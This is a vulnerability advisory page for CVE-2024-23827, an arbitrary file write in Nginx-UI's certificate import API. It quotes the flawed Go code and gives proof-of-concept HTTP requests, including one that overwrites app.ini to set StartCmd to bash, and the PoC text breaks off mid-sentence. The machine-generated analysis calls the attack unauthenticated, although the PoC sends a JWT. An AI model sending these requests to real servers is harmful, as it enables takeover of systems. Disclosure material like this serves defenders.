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Nginx UI: Nginx-UI vulnerable to arbitrary file write through the Import Certificate feature (CVE-2024-23827)

0
Critical
Published: 01/29/2024 (01/29/2024, 22:30:18 UTC)
Source: GCVE Database
Product: github.com/0xJacky/Nginx-UI

Description

### Summary The Import Certificate feature allows arbitrary write into the system. The feature does not check if the provided user input is a certification/key and allows to write into arbitrary paths in the system. https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/api/certificate/certificate.go#L72 ```go func AddCert(c *gin.Context) { var json struct { Name string `json:"name"` SSLCertificatePath string `json:"ssl_certificate_path" binding:"required"` SSLCertificateKeyPath string `json:"ssl_certificate_key_path" binding:"required"` SSLCertificate string `json:"ssl_certificate"` SSLCertificateKey string `json:"ssl_certificate_key"` ChallengeMethod string `json:"challenge_method"` DnsCredentialID int `json:"dns_credential_id"` } if !api.BindAndValid(c, &json) { return } certModel := &model.Cert{ Name: json.Name, SSLCertificatePath: json.SSLCertificatePath, SSLCertificateKeyPath: json.SSLCertificateKeyPath, ChallengeMethod: json.ChallengeMethod, DnsCredentialID: json.DnsCredentialID, } err := certModel.Insert() if err != nil { api.ErrHandler(c, err) return } content := &cert.Content{ SSLCertificatePath: json.SSLCertificatePath, SSLCertificateKeyPath: json.SSLCertificateKeyPath, SSLCertificate: json.SSLCertificate, SSLCertificateKey: json.SSLCertificateKey, } err = content.WriteFile() if err != nil { api.ErrHandler(c, err) return } c.JSON(http.StatusOK, Transformer(certModel)) } ``` https://github.com/0xJacky/nginx-ui/blob/f20d97a9fdc2a83809498b35b6abc0239ec7fdda/internal/cert/write_file.go#L15 ```go func (c *Content) WriteFile() (err error) { // MkdirAll creates a directory named path, along with any necessary parents, // and returns nil, or else returns an error. // The permission bits perm (before umask) are used for all directories that MkdirAll creates. // If path is already a directory, MkdirAll does nothing and returns nil. err = os.MkdirAll(filepath.Dir(c.SSLCertificatePath), 0644) if err != nil { return } err = os.MkdirAll(filepath.Dir(c.SSLCertificateKeyPath), 0644) if err != nil { return } if c.SSLCertificate != "" { err = os.WriteFile(c.SSLCertificatePath, []byte(c.SSLCertificate), 0644) if err != nil { return } } if c.SSLCertificateKey != "" { err = os.WriteFile(c.SSLCertificateKeyPath, []byte(c.SSLCertificateKey), 0644) if err != nil { return } } return } ``` ### PoC ``` POST /api/cert HTTP/1.1 Host: 127.0.0.1:9000 Content-Length: 144 Accept: application/json, text/plain, */* Authorization: <JWT> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7 Connection: close {"name":"poc","ssl_certificate_path":"/tmp/test","ssl_certificate_key_path":"/tmp/test2","ssl_certificate":"test","ssl_certificate_key":"test2"} ``` ```bash root@aze:~/nginx# ls -la /tmp/test* -rw-r--r-- 1 root root 4 Jan 24 13:33 /tmp/test -rw-r--r-- 1 root root 5 Jan 24 13:33 /tmp/test2 ``` It's possible to leverage it into an RCE in a senario by overwriting the config file app.ini - But it will require the app. ```bash root@aze:~/nginx# cat app.ini | grep "StartCmd" StartCmd = login ``` Then we overwrite the `StartCmd` with `bash` ``` POST /api/cert HTTP/1.1 Host: 127.0.0.1:9000 Content-Length: 980 Accept: application/json, text/plain, */* Authorization: <JWT> User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Content-Type: application/json Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en-US;q=0.9,en;q=0.8,fr;q=0.7 Connection: close {"name":"poc","ssl_certificate_path":"/root/nginx/app.ini","ssl_certificate_key_path":"/tmp/test2","ssl_certificate":"[server]\r\nHttpHost = 0.0.0.0\r\nHttpPort = 9000\r\nRunMode = debug\r\nJwtSecret = 504f334b-ac68-4fbc-9160-2ecbf9e5794c\r\nNodeSecret = 139ab224-9e9e-444f-987e-b3a651175ad5\r\nHTTPChallengePort = 9180\r\nEmail = [email protected]\r\nDatabase = database\r\nStartCmd = bash\r\nCADir = dqsdqsd\r\nDemo = false\r\nPageSize = 10\r\nGithubProxy = dqsdqfsdfsdfsdfsd\r\n\r\n[nginx]\r\nAccessLogPath =\r\nErrorLogPath =\r\nConfigDir =\r\nPIDPath =\r\nTestConfigCmd =\r\nReloadCmd =\r\nRestartCmd =\r\n\r\n[openai]\r\nBaseUrl = \r\nToken =\r\nProxy =\r\nModel = \r\n\r\n[casdoor]\r\nEndpoint =\r\nClientId =\r\nClientSecret =\r\nCertificate =\r\nOrganization =\r\nApplication =\r\nRedirectUri =","ssl_certificate_key":"test2"} ``` ```bash root@aze:~/nginx# cat app.ini | grep "StartCmd" StartCmd = bash ``` For the new config to be appl

CVSS v4.0

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
None
Vuln. Confidentiality
High
Vuln. Integrity
High
Vuln. Availability
High
Subsq. Confidentiality
None
Subsq. Integrity
None
Subsq. Availability
None
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Affected software

Goghsa
github.com/0xJacky/Nginx-UI
Affected versions
<1.9.10-0.20240128060047-8581bdd3c6f4

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AI-Powered Analysis

Machine-generated threat intelligence

AILast updated: 07/06/2026, 23:51:28 UTC

Technical Analysis

The vulnerability in Nginx-UI's Import Certificate feature arises because it does not validate whether the provided input is a valid certificate or key, allowing arbitrary file paths to be written. The code writes user-controlled certificate and key contents to the specified paths without sanitization or path restrictions. This arbitrary file write can be exploited to overwrite critical files such as the app.ini configuration file, enabling further exploitation like remote code execution by modifying the StartCmd directive. The vulnerability is tracked as CVE-2024-23827 and is classified as CWE-22 (Path Traversal).

Potential Impact

An unauthenticated attacker can write arbitrary files to the system running Nginx-UI, including overwriting configuration files. This can lead to remote code execution if the attacker modifies the StartCmd in app.ini to execute arbitrary commands. The vulnerability has a critical severity rating due to the potential for full system compromise.

Mitigation Recommendations

Patch status is not yet confirmed — check the vendor advisory for current remediation guidance. Until a fix is available, restrict access to the Import Certificate API endpoint to trusted users only and monitor for suspicious activity related to file writes. Avoid exposing the service to untrusted networks.

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Technical Details

Gcve Source
db.gcve.eu
Osv Id
GHSA-xvq9-4vpv-227m
Osv Schema Version
1.4.0
Aliases
["CVE-2024-23827"]
Ecosystems
["Go"]
Database Specific Severity
CRITICAL
Cvss Version
4.0

Threat ID: 6a4c342027e9c797195f976c

Added to database: 07/06/2026, 23:02:56 UTC

Last enriched: 07/06/2026, 23:51:28 UTC

Last updated: 09/10/2026, 19:36:47 UTC

Views: 22

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